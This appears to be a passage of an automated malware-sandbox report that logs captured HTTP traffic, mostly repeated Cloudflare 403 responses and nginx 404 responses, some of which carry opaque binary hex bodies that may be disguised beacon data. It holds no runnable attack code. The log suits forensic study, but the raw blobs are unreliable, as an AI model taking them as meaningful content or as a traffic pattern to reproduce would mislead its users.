Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:46 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KnP1kh%2BCSzEUmart0mjU3z9Dh8hgJqQqSwb2gHF%2FT788TLTvykYwMsmT%2FLNleO8X7IW7dZgP4gFZpz4iFyQsm62UiyfgsBj3c0z4TEprD7xn7WzZX3YKMW5wgJjk%2BVeXhw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5ae88d79180-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:47 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X%2FTjAr2wzW68jM6U6UPYwP%2BnT4yaiQOeNJlGRHX5Nry5NT%2FZ%2BaeSjOmkD0hqJRyXV%2FDki8%2Fjm3LhYI62Hqh94u5EPQqCjJzfJBhA%2BiTv%2BWiQ%2F6X6gKk0gkBQAOZRN67Cvg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5b41d8c0081-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:48 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VTzxVtY3K8uJxO9GQfmANDJuzyMAdOdv%2FLIR%2FSsGO5tHnYrFcvhZbYcVMqY9IjYR%2F7caoAVQCOX3parcP4jF5d58cr%2Fyi4E2mtDxyFu89O96N8HN5TBrLO24%2FGLXmZT5uQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5ba0a2c920d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:49 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5gTcwkKDyZ1Wmd8WX2dw5SXfPPYZ%2FyjericqYifysSGmZCKmeJiewiyYlb9OHY3P6jXWj%2FU%2BDrbbE%2BHQ%2FYRQfuLEyjARnIZMeYKwYEuTj1VuaPTPfNOmBNUyMP%2B593j%2BSA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5bf8e2b91fb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:00 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NlsNkTm34rq8jqsohMy97K8MVYg2drHu%2FSL8sH4IACeCDx%2Fehcn6pp8Fv23AUobBJ0%2FcvzJzxEhITTxqWzjax7ol6YEKSsZ3ndXLKHLA7kEraAwBvZqCNcRY3trZsxs6wQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c6084e519162-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:07 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=y44ArJyJ1NS3Tpp8w6VIH%2BdRICHg72RD3Pjz63kNxkc75iAIpNDPCN13KhQYckT5PoJxAXhZPpVPzKfpNNgvJZovUO1JGkF6wbaF%2BsxS4g5jYfriUFhhwrNHh2iaKEPh%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c630eb1872d2-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:15 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CyWog7TORc36C9XCRSBXe%2Fn510SLdk38ktR%2B6nKMSCwz3icA7%2BHaF1vjg%2FwHAH70qikkP2MDuJY9s2xzFJlWuI%2FgkFeDCO3h56pqxuzpo0JSBIF0ie2V1qPDfMEwtyiOzA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c6630d9975c6-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:18 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OIofTfUs5byvJk8ytoDyaIRmzJBg2c9Im5teZN%2BSHagRtHTggiKx5K%2BqmvKkwmFroYhQqe6rsYx7V7sjKrkTplFBjXwBiXiJCfiqmHZ3YcvFRWRbfzQCVx2q5IMmcgfJ%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c678ea549019-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:23 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XmKYpIUouVH6jhK4mbKU0ImgGng3X7yFW9AJx7cPUALXR%2F3uGP%2BD7QhEc1FVSEw%2BudxSUQOpK6433zpnhy6QwnSWXLCit2%2BxkvHrumQbxvTlcv2O0OFjKkNIu9vBTmHehw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c69478609a39-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:26 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FiNO%2BZ9418wHk5blrwvvJUwhgBxqPk9yglMvAViFmfyzgvp45xI7K7apBDwi8acMkPpDTD2vF4tPtUFiZaeRpYJQJFuWhADpLcA0fkr3Tv%2B7q8DaE85%2BthZcrAbs%2FIwGRg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c6a8dfc3bb83-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:31 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rWSE3gH6JQWsQk1SBdpRAgWo4VF94oVX0IyQIQP0dhfKODiI3pf8EKItIV%2F%2B%2FWBWX8B4SkALmtWznh2pjTcXkPZA9njc592g%2FKpzV67Rr%2BrsRNdJAsqrmz8tyBG8NHLABA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c6cbb8059247-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:39 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dWno0ln5QUEmwN4SaXD2DQ4%2BlNwiqIycI8Kdg9oQ7K9BuKUbG6ugEYnQ8dM0qpM08%2FReIkoPB%2BDRur94TDof0SAC59THrqT5rNksybN34Jme4f%2BSUH7nPa4xiQCOlhDjqQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c6fb7e7e903c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:30:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:30:50 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KRkBmDjw1Sai71O5Z37sal4YsPnvOjGWnUO%2FSei8IiPciBuluCV2JrLrPuaBLjo%2Fk8duQlZYnf6Dt3rFvikuhNXR6d2NOH1cBgqcznXfHeGGcFhzVMhylafaGnWwfntoWA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c742c8d990bb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:14 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 19 00 00 00 1d 3d 5a e6 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 81 a1 55 00 37 ca 03 00 34 6f 8a 38 01 00 00 00 02 00 9c 03 00 00 0b c7 2c d9 be ef eb d2 bd 2e c3 67 08 06 02 00 40 eb c6 2e f0 6e ee d7 e9 bd f9 83 e3 fa 59 39 e6 76 88 b3 a1 01 bf 7d 48 17 e1 72 38 42 66 6e fd db 9f 15 05 ab 70 0b d5 82 12 70 ec e7 c1 ff 16 2a 96 7d 51 48 1f fa dc 42 85 ec 43 68 33 db 77 1e 9a 81 29 70 b3 46 06 9e d1 12 e5 06 3e 74 24 f7 32 37 ee ba 23 ee f5 6b fa 15 25 df 9d 08 31 c3 f6 6e 7e f5 e8 b0 59 f7 78 c7 30 68 85 3b 23 5d 01 09 b8 6e c2 17 d7 33 60 0a 44 17 75 7e 1d 99 98 81 c4 1d 96 cd ff 9e f8 ea 68 1f 79 de e5 d7 07 69 9e cc 31 79 ad 23 2e ad be cb 30 ab 72 a9 fd bb d6 02 59 9c 8d 4d eb 6b 0e cf fe 5e 64 99 f6 34 66 48 3d f7 db ec ea 8a c8 ff 70 a6 cb d4 20 6e 0c 06 d6 a0 00 66 2f c9 4a 1c 54 f7 d9 91 47 37 d3 64 d7 c1 c0 72 f1 05 fd b0 80 3d 13 24 a6 91 f2 1a 01 ce 40 9f ff 96 7f 28 5f fa 98 f2 5b e9 1e c2 1a 23 de bb 50 bc 7c 3d 59 f4 87 43 79 1d 39 c9 7a 61 c9 02 34 15 01 74 7d a9 05 84 bb 61 ce 24 5a ba ec 10 aa 1b d2 c0 09 15 16 f9 9f 57 cc 0e 41 fd a7 12 6b a3 c0 1c 33 ba 1a 5d 3f ac 4d 0a 15 b0 68 2b a1 af c5 fd 75 58 fb 96 a7 88 32 2e fa c8 53 43 96 d9 1c 94 e7 e7 89 44 aa bb 53 50 cb a4 b7 49 c6 9f a4 1f d4 da b3 cb ac 66 84 6f 45 b0 71 fa 9c 7b 5d 83 cb ad 6b 12 db 6e 53 62 1c 71 69 87 b6 43 b4 c9 eb c1 30 85 5b d6 06 3f bf 50 a3 4d eb 4b 22 f7 6a 71 15 37 47 4c ff 29 7f 81 ec d0 04 92 bb fd 3d f7 d9 5c b2 13 60 c7 b2 d4 db e1 60 43 83 27 90 b4 9a 69 ec d8 fd fe 0f 77 ac 28 6b dc 47 8b a5 0f c9 f6 de 42 74 d4 ce 4f 65 3f 31 fe 7e a7 db 55 a4 8f c1 bd 29 5a e3 96 99 24 71 dd 67 7f cf 4e 85 88 08 b0 7d a3 11 c5 33 58 68 96 3a c4 ae 68 f7 db f3 e0 98 ac 93 f8 17 55 8c d0 cd 54 3f 64 70 5c 23 ae b5 39 8f f2 13 23 0b a1 50 b9 8a 34 e5 4a 2e da 9e 1c b4 62 fc 53 d7 03 98 df ef d9 93 f4 26 07 44 37 ad 17 4e 47 5a ec 23 37 56 34 9b 05 0a 67 9a b5 fe 79 c4 ec 97 d1 f8 7e 96 1f c8 a9 f8 3c 17 66 84 2a fc c6 57 50 82 d5 e8 a1 74 bf 71 bf 36 54 94 86 a9 62 40 1d b8 f1 f1 77 aa 36 4b 89 de b7 01 a1 0b d8 7f cd 37 49 8b b1 11 44 0d b6 70 7d dc 33 66 8c ac d5 87 27 bd e6 d8 d2 26 60 17 47 58 3f bc 42 bb 56 3c f9 ce 8b 2a eb 95 78 bd ae db 35 ac 35 d4 bc 24 3a 8a 21 95 db 9e 9a 2d 00 53 6b 8c c5 e4 10 ae 5e f2 06 40 6e 5c 72 aa 78 ea 25 ed 76 40 15 bb 8e 0e 97 6d 57 87 ae f9 32 7f f6 f8 f5 d2 ea 62 b0 bf 0d a0 93 5e a1 e5 c6 61 dd 49 29 77 d2 dd e1 24 96 1d c0 31 b3 99 25 9a 65 af 6f 6b ad 68 ec 4c 33 30 f8 e5 c5 76 45 98 2f a2 ae ab 3d 11 59 6c 44 8d b2 7b f4 67 b9 9b 37 da 06 41 48 04 b0 22 6f 4c 8e 73 38 51 b0 be 92 30 ff a0 26 51 6b 9d d0 df 69 97 46 7d a5 2e 81 e7 61 fa 7c 75 a1 71 3f 7a f0 cb ab ff 70 ad c3 2a 29 db 6f 97 d0 d4 90 61 97 13 f0 7f 9c 83 c7 48 1e ef 26 f1 d4 14 3f 17 26 da f9 60 de ac 18 d5 20 aa 5b 54 47 8f 5f f9 bd 6d cd 7c 9d d3 78 7f 38 6e da ed 6d 1f 99 0f e0 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 89 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 d6 d3 eb 8d cf 4c fd e4 63 1c 06 28 bf 8f da eb 5c a1 20 ca 37 b1 37 e2 c7 a6 66 68 0d 7f dc 2b 5a cc 51 5d c5 56 b8 5c c9 f2 8d 24 3f 7d be e6 2f 37 52 66 05 2e d2 30 f4 91 80 c4 02 f7 34 5b 7f d2 72 be 8d be a2 4d b6 32 75 43 d7 1c f6 c8 76 16 9a a8 70 6b b7 52 64 55 09 26 12 69 e4 42 97 37 a0 22 11 76 24 18 6a f6 ac 0d 59 4f bc 4b ba fb 63 86 e9 40 bd 33 89 b2 8c 63 1c 0c 18 e7 c3 9c ba c2 a1 45 fc 0b e8 04 9b 8a a3 40 a0 dd b8 b0 20 b8 bd 37 31 ed 4f 87 6b 0f 6e 16 40 82 c9 7b f8 b8 68 f0 32 62 47 a0 41 01 93 64 7a b1 76 94 d5 8e 17 6c be 79 bc ea 4b 64 d4 60 27 50 21 91 f3 52 44 4b 12 f4 cc 7f 3f b4 74 66 52 79 5f a9 3e d7 0f 7c 12 e0 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 22 6e 4c 80 9c 13 ff 13 19 dd b4 b5 af 31 3c 27 d4 69 b7 9f d3 c9 ce 67 d2 49 1c a4 af 2b dc 55 3d 3f a8 68 92 0c ff 9d 5c 6f 55 40 57 74 7b 39 66 37 a9 04 28 84 02 40 77 8b c7 9b 84 f7 3d 66 f4 8a 64 b1 1d 30 14 51 89 70 17 4b 81 6b df 8e 82 61 f0 e4 1f 4e a1 90 4e a1 54 55 a7 8e b7 5b 6f c3 db 29 32 38 e7 5b 1e 54 bb 1e 26 6d 11 ee c3 ce 57 a3 5c 1d 85 1f d4 5c 68 91 9c 29 06 f1 2c ee b9 03 87 e5 1f e4 a6 bd 07 9f f3 be d9 b0 99 07 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 b2 6d d7 d0 e5 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 a7 58 bb 98 be 6c 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 36 4e 78 80 34 aa ae 88 81 7d a4 33 25 6d da a9 c3 28 cd 2f cb f2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 33 88 b9 ec db 6a f3 33 cd a0 ea 9e dc 5f a8 4c 45 31 f5 73 8d 83 c9 ed 07 62 57 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 3f d8 2e 67 b3 bb 5d 36 37 60 de 9e 30 11 b7 65 a2 b5 09 78 60 18 31 5f d6 36 ae 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 02 c2 39 d6 3c 2e 6f 88 63 71 8d e3 f6 2c b2 3d db a0 43 5a 17 0c 5c 5a 16 03 0e 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 f3 dc 95 e5 32 e2 20 00 3d 15 33 b5 e2 85 e3 92 c2 c1 7a 7e d3 95 bc 43 cf b6 75 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8a 94 e5 be f8 dc 57 a4 01 b6 8d 4a 08 7c 91 65 69 c7 f9 f3 af 14 ed 67 e1 72 2d 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ec d5 54 66 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8a 18 e4 8f 93 87 f2 e6 3f d7 09 2a e3 44 d5 e9 78 d6 76 c8 1d 7a 38 e0 eb 62 ea 6b 50 b4 d3 29 e3 2d e8 5f 6e 9c b7 5e 98 6b 5f 26 f1 b6 b1 e4 03 f3 dd 65 30 e5 dd 32 21 56 1e c7 c2 3d 3b 59 1a 8d 22 bc d9 75 ad 4f 36 f8 37 33 e8 d6 f9 ca ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 51 d6 6b 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d 1d 51 2b e5 8b c9 7b 7e 45 f7 ff 38 20 55 db c4 1d 13 13 bf 2e e2 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 70 02 19 e0 28 95 a9 b1 4c f8 96 bc 25 51 e0 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 06 7f 30 6c 79 7c 0a 8d c7 5d a8 0e 64 df 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 a7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 d7 bf 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 a5 ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 47 22 11 51 8c 60 17 4b 81 7f dc 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 6e 19 58 ee c3 fe 54 a3 4c 45 8c 1f d4 44 6b 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a 0d d0 7f 74 79 f0 21 43 cc 8f 8b 8b e1 12 76 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 